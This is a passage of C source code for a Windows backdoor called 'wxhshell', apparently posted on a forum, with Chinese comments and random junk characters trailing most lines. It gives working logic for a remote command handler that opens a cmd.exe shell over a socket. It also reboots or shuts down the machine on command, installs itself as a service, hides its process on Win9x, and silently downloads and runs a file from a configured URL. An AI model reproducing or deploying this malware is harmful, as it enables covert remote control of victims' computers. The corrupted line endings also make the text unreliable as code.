  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e;QPn(  
  } ,MH9e!  
  else { /, G-1E  
u;{,,ct  
    switch(cmd[0]) { Qfx:}zk{  
  8T3j/ D<r  
  // 帮助 37:\X5)z/  
  case '?': { $9_yD&&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dwvd  
    break; ~_XJ v  
  } K0681_bp  
  // 安装 {yPJYF_l  
  case 'i': { N{6 - rR  
    if(Install()) 8Ja't8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u$A*Vsmr  
    else 3zV{cm0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F(?A7  
    break; q-3,p.  
    } FH"u9ygF  
  // 卸载 OQ,KQ\  
  case 'r': { 7od6`k   
    if(Uninstall()) l!6^xMhYk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=/@D)hND  
    else @"B"*z-d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t-, =sV  
    break; e.8(tEqZ1  
    } X- xN<S q  
  // 显示 wxhshell 所在路径 Q/JX8<7K  
  case 'p': { jHP6d =  
    char svExeFile[MAX_PATH]; C(t >ZR  
    strcpy(svExeFile,"\n\r"); &W'X3!Te  
      strcat(svExeFile,ExeFile); O@$wU9 D<  
        send(wsh,svExeFile,strlen(svExeFile),0); I2U/ \  
    break; \NIj&euF  
    } Y|NL #F  
  // 重启 r`t|}m  
  case 'b': { Klw\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sqt '}  
    if(Boot(REBOOT)) yXuc< m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GS!7HphR  
    else { R~=_,JUW  
    closesocket(wsh); #&L[?jEn  
    ExitThread(0); ^e<"`e  
    } DU@ZLk3  
    break; F@+FXnz  
    } G-5 4D_ 4  
  // 关机 1WArgR  
  case 'd': { tC4:cX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g$z9 (i+  
    if(Boot(SHUTDOWN)) m1](f[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J.R|Xd  
    else { .V4w+:i  
    closesocket(wsh); _8-iO.T+2  
    ExitThread(0); aGl*h" &  
    } M/O4JZEqh  
    break; k^x[(gw  
    } +{qX,  
  // 获取shell  .<0s?Q  
  case 's': { R{GT? wl  
    CmdShell(wsh); W .B>"u  
    closesocket(wsh); 3 &aBU [  
    ExitThread(0); ;8?i  
    break; ?Re6oLm<B  
  } hI&ugdf  
  // 退出 1XwW4cZ>:  
  case 'x': { mKsTA;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dBB;dN  
    CloseIt(wsh); |=dmxfj@  
    break; Lq-Di|6q  
    } Q|!}&=  
  // 离开 5|4=uoA<  
  case 'q': { !I 7bxDzK$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nb -Je+  
    closesocket(wsh); ftL>oOz[  
    WSACleanup(); W7j-siWJ  
    exit(1); lbRm(W(  
    break; jK!Y-  
        } H1FD|Q3  
  } 1X5*V!u  
  } nE~HcxE/  
N@oNg}D&:  
  // 提示信息 v(ATbY75  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mt0ZD}E  
} r]C`#  
  } h`_@eax  
!<ae~#]3 P  
  return; A3\%t@y  
} Ap{2*o  
__FhuP P  
// shell模块句柄 A7/ R5p  
int CmdShell(SOCKET sock) &$'=SL(Z  
{ ^kS44pr\Q  
STARTUPINFO si; 0Hs\q!5Q  
ZeroMemory(&si,sizeof(si)); JOR ? xCc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R^fk :3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r N"P IH  
PROCESS_INFORMATION ProcessInfo; i$Rlb5RU  
char cmdline[]="cmd"; 5M.KF;P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zF& >1y.$  
  return 0; ?q68{!{bi  
} A? =(q  
:+Pl~X"_  
// 自身启动模式 D^ E+#a 1  
int StartFromService(void) w|"cf{$^x  
{ =,*4:TU  
typedef struct ?pT\Ft V  
{ R*C  
  DWORD ExitStatus; E !a5-SrR  
  DWORD PebBaseAddress; /1Xji 0LK  
  DWORD AffinityMask; A.mIqu,:  
  DWORD BasePriority; 0@ -3U{Q  
  ULONG UniqueProcessId; a]-.@^:_i  
  ULONG InheritedFromUniqueProcessId; ]Z@+ |&@L  
}   PROCESS_BASIC_INFORMATION; rKP;T"?;  
^:b%Q O  
PROCNTQSIP NtQueryInformationProcess; VTDp9s  
;'o:1{Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OV l,o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #-QQ_  
fP>K!@!8  
  HANDLE             hProcess; Wcgy:4K3  
  PROCESS_BASIC_INFORMATION pbi; R+c  {Pl  
Cq7EdK;x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t^|+|>S  
  if(NULL == hInst ) return 0; }tH$/-qnJE  
D@Zb|EI%<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E57J).x-BP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l!B)1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zU+` o?al  
\#bk$R@  
  if (!NtQueryInformationProcess) return 0; hRn[ 9B  
H8>u:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u&iMY3=  
  if(!hProcess) return 0; +^St"GWY  
2?]NQE9lA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; { r9fKA  
]-o0HY2  
  CloseHandle(hProcess); 3^>D |  
-U6" Ce  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kf3yJP/  
if(hProcess==NULL) return 0; "z ` &xB  
|%F[.9Dp  
HMODULE hMod; }gE?ms4$  
char procName[255]; 0Ywqv)gg  
unsigned long cbNeeded; MIcF "fB![  
)~q@2^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D`;Q?f C  
v{ F/Bifo  
  CloseHandle(hProcess); d7xd"  
x,Im%!h  
if(strstr(procName,"services")) return 1; // 以服务启动 bg\~"  
4\%0a,\^  
  return 0; // 注册表启动 Nz+Jf57t  
} _kR,R"lh  
mQQ5>0^m  
// 主模块 ^L&hwXAO:  
int StartWxhshell(LPSTR lpCmdLine) @_&@M~ u  
{ )v!>U<eprD  
  SOCKET wsl; @u./VK  
BOOL val=TRUE; UR~9*`Z ,  
  int port=0; sR`WV6!9  
  struct sockaddr_in door; ,B>Rc#  
kLKd O0  
  if(wscfg.ws_autoins) Install(); lNSB "S  
,:!X]F#d$  
port=atoi(lpCmdLine); 7Zl- |  
_ i )Z8#  
if(port<=0) port=wscfg.ws_port; fu/v1Nhm  
j|f$:j  
  WSADATA data; s9 '*Vm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gIR{!'  
N 3)OH6w"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :F:<{]oG_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h<oQ9zW)  
  door.sin_family = AF_INET; U!sv6=(y@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8$!/Zg  
  door.sin_port = htons(port); 6g@@V=mf  
jP6;~[rl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CCJ!;d;&87  
closesocket(wsl); 4a;8XAl  
return 1; 8H_3.MK  
} sa8Sy&X"  
~y{(&7sM  
  if(listen(wsl,2) == INVALID_SOCKET) { %J\1W"I?  
closesocket(wsl); vVF#]t b|  
return 1; rvRtR/*?j  
} K#g)t/SZ  
  Wxhshell(wsl); h3.wR]ut  
  WSACleanup(); SE+K"faKQ  
p8F5b8]*  
return 0; {\G4YQ  
v7VJVLH,I7  
} 8Z>ZjNG  
IEV3(qzt  
// 以NT服务方式启动 ANh5-8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e[}R1/! L  
{  hM2^[8  
DWORD   status = 0; 95giqQ(N  
  DWORD   specificError = 0xfffffff; 1c S{3  
JpDc3^B*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WF<0QH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FA\gz?h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mP GF Y  
  serviceStatus.dwWin32ExitCode     = 0; Nko;I?Fn  
  serviceStatus.dwServiceSpecificExitCode = 0; = wNul"  
  serviceStatus.dwCheckPoint       = 0; 6/9 A'!4C  
  serviceStatus.dwWaitHint       = 0; 0V*L",9M  
+ib72j%A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V 0R;q  
  if (hServiceStatusHandle==0) return; +u*WUw! %  
Kd CPt!  
status = GetLastError(); xmZ]mu,,$  
  if (status!=NO_ERROR) C\UD0r'p?  
{ BuI&kU,WY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &O(z|-&| x  
    serviceStatus.dwCheckPoint       = 0; \}t(g}7T  
    serviceStatus.dwWaitHint       = 0; X""<5s'0  
    serviceStatus.dwWin32ExitCode     = status; oQ@X}6B%S  
    serviceStatus.dwServiceSpecificExitCode = specificError; _ I+#K M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S'vi +_  
    return; =kohQ d.n  
  } J\XYUs  
J=W"FEXTL7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gPY2Bnw;l  
  serviceStatus.dwCheckPoint       = 0; eu ~WFI  
  serviceStatus.dwWaitHint       = 0; YVZm^@ZVV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UO8#8  
} $I!vQbi  
1p>5ZkHb  
// 处理NT服务事件,比如:启动、停止 MsCY5g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @rkNx@[~  
{ %1a\"F![  
switch(fdwControl) <oTIzj7f  
{ k 61Ot3  
case SERVICE_CONTROL_STOP: hT9fqH  
  serviceStatus.dwWin32ExitCode = 0; em<(wJ-Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SfQ ,uD6  
  serviceStatus.dwCheckPoint   = 0; Z1u{.^~^z  
  serviceStatus.dwWaitHint     = 0; pUZe.S>G  
  { Dms 6"x2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YY{S0jnhF  
  } #0"Fw$Pc  
  return; \kZxys!4  
case SERVICE_CONTROL_PAUSE: >}GtmnF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,*8}TIS(s  
  break; )U e9:e  
case SERVICE_CONTROL_CONTINUE: Uaog_@2n,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V9NE kS  
  break; $fV47;U'*  
case SERVICE_CONTROL_INTERROGATE: ]wWN~G)2lV  
  break; "zJ1vIZY  
}; )FGm5-K@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N^xnx<  
} Vq2d+ ,fb  
<H`&Zqqk  
// 标准应用程序主函数 SaMg)s~B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a,U[$c  
{ a,x-akZWf  
IM|VGT0  
// 获取操作系统版本 ;'NB6[x  
OsIsNt=GetOsVer(); kUUeyq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z{xm(^'i  
eaCv8zdX  
  // 从命令行安装 jQ@z!GirT  
  if(strpbrk(lpCmdLine,"iI")) Install(); w`&~m:R  
<Qu]m.z[  
  // 下载执行文件 iyAeR!`  
if(wscfg.ws_downexe) { n.n;'p9t@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R$k4}p  
  WinExec(wscfg.ws_filenam,SW_HIDE); pca `nN!  
} wO/}4>\  
w2_$>z  
if(!OsIsNt) { n|sP0,$N1  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pp3<K649  
HideProc(); .;)7)%  
StartWxhshell(lpCmdLine); pSvRyb.K  
}  0eUK'   
else "bZ%1)+  
  if(StartFromService()) n*{aN}auJ  
  // 以服务方式启动 YAQ]2<H  
  StartServiceCtrlDispatcher(DispatchTable); 0+%{1JkJq  
else AE? 0UVI  
  // 普通方式启动 F9p'|-   
  StartWxhshell(lpCmdLine); `w';}sQA7  
g|ewc'y  
return 0; 8Y?zxmwn]  
}
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只看该作者 1 发表于: 2006-10-10
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